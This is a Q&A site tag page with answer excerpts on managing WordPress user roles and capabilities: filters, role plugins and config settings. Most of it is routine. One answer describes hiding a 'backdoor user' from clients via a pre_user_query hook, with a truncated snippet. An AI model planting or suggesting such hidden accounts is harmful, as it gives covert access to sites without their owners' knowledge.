Tag Info

Hot answers tagged

16

See the WP_User class, you can use this to add and remove roles for a user. EDIT: I really should of provided more information with this answer initially, so i'm adding more information below. More specifically, a user's role can be set by creating an instance of the WP_user class, and calling the add_role() or remove_role() methods. Example Change a ...


6

While you can't guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example) add_action('pre_user_query','sleeper_pre_user_query'); function sleeper_pre_user_query($user_search) { global $current_user; $username = ...


5

I know this question is a year old now, but I have just discovered there is in fact a way to achieve this, so posting it here in case it's useful to other people: add_filter( 'user_has_cap', 'my_user_has_cap', 10, 3 ); function my_user_has_cap( $user_caps, $req_cap, $args ) { $post = get_post( $args[2] ); if ( 'attachment' != $post->post_type ...


5

The plugin Members is your solution, clean code for read, change and create roles and capabilities; easy and fast. No custom tables and normaly WordPress standard.


5

Filter 'login_redirect'. Sample code, not tested: add_filter( 'wp_login', 'wpse_78150_login_redirect' ); function wpse_78150_login_redirect( $url ) { # uncomment the next line for debugging # var_dump( wp_get_current_user() ); exit; if ( ! current_user_can( 'custom_role' ) ) return $url; return admin_url(); }


5

Me, like @fischi think that filter 'user_has_cap' is the best choiche for the pourpose, however, I think that is better to the work, regardless the $_GET post or action: WordPress check the meta cabability on a per-post basis, using an additional argument. In few words, when filtering 'user_has_cap' for a meta capability (see ...


4

I was able to come up with a work around! First, I used Role Scoper to limit a user account to a specific term - in this case, a Ministry Representative is limited to the name of their Ministry in the "ministries" taxonomy. Then, I used the WPAlchemy class to create a custom metabox that would list the terms and, since it only returned one (theirs), I would ...


3

When adding a role and capabilities you only need to run the code once since the roles and capabilities are saved to the database when using add_role or ->add_cap functions so just like Andy said you can use after_setup_theme for this kind of action but add some kind of check so it only runs once, like register_activation_hook or using options: ...


3

I'm reposting this with an example, I really don't get the code formatting of this editor, last time I was so irritated with it that I skipped the code! That dropdown is populated using a filter 'wp_dropdown_users' (user.php, line 976). This filter returns the dropdown (html select) as a string. You can intercept this string, and add your own options, which ...


3

Imho that's one of the most important things regarding users: /** * Deny access to 'administrator' for other roles * Else anyone, with the edit_users capability, can edit others * to be administrators - even if they are only editors or authors * * @since 0.1 * @param (array) $all_roles * @return (array) $all_roles */ function ...


3

Confirming… Yes, there's currently (WP 3.4.1) no way to modify the access arguments for admin menu pages. The only one, that you can modify through the public wp API is the »Comments« menu item. All others are registered by hand. But there's help coming from @scribu (read more at the trac ticket) who has so far taken a lot of effort to bring ...


3

Very interesting question. It's a bit outside the scope of the typical rolls/capabilities functionality as it's more fine grained (unless I'm wrong -- very possible). The first step would be to put some sort of way in that you can assign which posts a user can edit. It makes the most sense to stick that the user's profile page. So you can hook into ...


2

After hours of fighting to get this to work, it was just a matter of changing delete_posts to delete_post. So, in it's entirety this would be: current_user_can('delete_posts', $post_id); to current_user_can('delete_post', $post_id); current_user_can does accept a second parameter. Though it's weird that the function declaration in capabilities.php does ...


2

Ok, old question; but the solution lies already in the WP core. Unless you also want to prevent User1 from reading pages he has no editing privileges to. If you set User1 as "Author", User1 will only be able to edit their own content. You can create pages as Admin, and set author as "User1", granting User1 an editing access to the page. Of course, this is ...


2

first about the add_role you only need to run this once, so after you paste it in your functions.php and saved you can remove it and save again and the role will be there always. then about the author_can function, i really never use it so i can tell whats wrong but you can use current_user_can() function like this: update if ( is_user_logged_in() ) { ...


2

There are two ways to do this. Almost any decent membership management plugin will enable you to restrict content to a given user role and plugins such as Role Scoper are even more flexible. For a more code-based solution you would add some variation of the following to the desired theme template files where ever needed: <?php ...


2

you can add a custom field to each listing post with the user's role and then in your query you can order by that field, for example say you have a custom field named `u_role' then your query should look like this: $custom_role_query = new WP_Query( array( 'author' => implode( ',', $custom_ids ), 'post_type' => 'listing', 'posts_per_page' => 10, ...


2

I am pretty sure that nothing would happen other than the user would have the capability in question. Think about it. The default Roles share many capabilities-- Authors, Editors, and Administrators all have edit_posts, for example. All roles (usually) have read The same system manages both default and custom roles/capabilities, so there really should be ...


1

OVERVIEW While the question was about limiting editor roles to access only Widgets, the following example shows how to limit access only to Menus. However as you will see, it can easily be changed to allow only Widgets or more! I added Step #3 because I forgot about the Admin Bar. Oops! So now whether logged into the Dashboard or logged in and on the WP ...


1

This is my experience. I had to add role for each site in Wordpress, I developed an add page in dashboard so the site administrator can add the self-defined role/capabilities. But I found the $wp_roles->add_role, add_cap only works the subsite. So I did some fix, I've made a plugin, the super-admin(not site administrator but the "admin") can "Network ...


1

According to the Codes on capabilities the manage_sites and manage_network_users should grant these options, or am I not reading correctly? Apparently, the capabilities here are not enough. Check out wp-admin/network.php. You'll see it dies if the current user fails the is_super_admin check. This check gets the $super_admins global from get_super_admins ...


1

For plugins, I have had success using plugins_loaded for this. For themes, I would use after_setup_theme.


1

Try using current_user_can() instead.


1

I don't know the function you mention either, but I would venture to guess that that applies to default roles only anyhow. Still, the link you posted does contain a pointer in the right direction. It speaks of "dummy gettext calls", which is exactly what you have to do. In the following we will adjust the global $wp_roles object on init and hook a filter ...


1

There's a WordPress function for that! I think it is best to use WordPress functions, if and when they are available. You can use the wp_insert_user() function, where one of the arguments that you will need to provide is the $userdata['role']. In this argument you can specify the role that you want to change the user into.


1

You can delete or add again the Roles and/or the Capabilities: add_role(), remove_role(), get_role(), add_cap(), remove_cap()


1

This should be easiest way, just add the line to wp-config.php, this will disable plugin and theme editor, both. define('DISALLOW_FILE_EDIT',true); If you want to add codes into theme's function, the code should work for you. function ra_block_tp_edit( $caps, $cap ) { if($cap == 'edit_plugins' ) $caps[] = 'do_not_allow'; return $caps; ...


1

Deactivate the Plugin Go to Dashboard > Users Select all users Select the desired role from the "Change role to" dropdown Click "Change" Plugins can't really do any permanent damage, provided that all of their actions are implemented properly via the Plugin API. I assume the Members Plugin fits this description. So, once you deactivate it, any changes ...


1

You can use a plugin like Justin Tadlock's Members or the Role Scoper plugin, with those you can customize all capabilities for the administrator as well as the editor roles (and any other roles for that matter). You can even define your own roles with capabilities.



Only top voted, non community-wiki answers of a minimum length are eligible